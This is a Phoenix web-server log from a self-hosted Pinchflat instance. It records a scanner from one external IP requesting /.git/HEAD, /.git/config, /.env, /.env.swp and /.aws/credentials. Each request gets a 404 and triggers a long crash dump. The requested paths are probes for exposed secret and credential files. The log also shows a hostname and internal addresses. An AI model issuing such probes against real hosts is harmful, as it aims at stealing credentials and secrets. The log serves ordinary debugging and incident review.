PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9882.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45742}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9883.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, (truncated) 15:22:45.052 [info] GET /.git/config 15:22:45.052 [debug] QUERY OK source="settings" db=0.0ms idle=19.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.052 [debug] QUERY OK source="settings" db=0.0ms idle=13.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.052 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.053 [error] #PID<0.9885.0> running PinchflatWeb.Endpoint (connection #PID<0.9884.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9885.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEGc5hpPCCMQAAecC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9884.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: fals (truncated) 15:22:45.082 [info] GET /.env.swp 15:22:45.083 [debug] QUERY OK source="settings" db=0.1ms idle=43.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.083 [debug] QUERY OK source="settings" db=0.0ms idle=37.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.083 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.083 [error] #PID<0.9887.0> running PinchflatWeb.Endpoint (connection #PID<0.9886.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.swp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45758}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9887.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.swp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEGkEaAILkRcAA45B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45758}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9886.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45758}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 15:22:45.150 [info] GET /.env 15:22:45.150 [debug] QUERY OK source="settings" db=0.0ms idle=105.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.151 [debug] QUERY OK source="settings" db=0.0ms idle=98.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.151 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.152 [info] GET /.aws/credentials 15:22:45.152 [debug] QUERY OK source="settings" db=0.0ms idle=99.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.151 [error] #PID<0.9889.0> running PinchflatWeb.Endpoint (connection #PID<0.9888.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9889.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDEG0Q1wigh2IAAedC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9888.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45768}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto (truncated) 15:22:45.153 [debug] QUERY OK source="settings" db=0.0ms idle=69.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:45.153 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:45.153 [error] #PID<0.9891.0> running PinchflatWeb.Endpoint (connection #PID<0.9890.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45780}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", 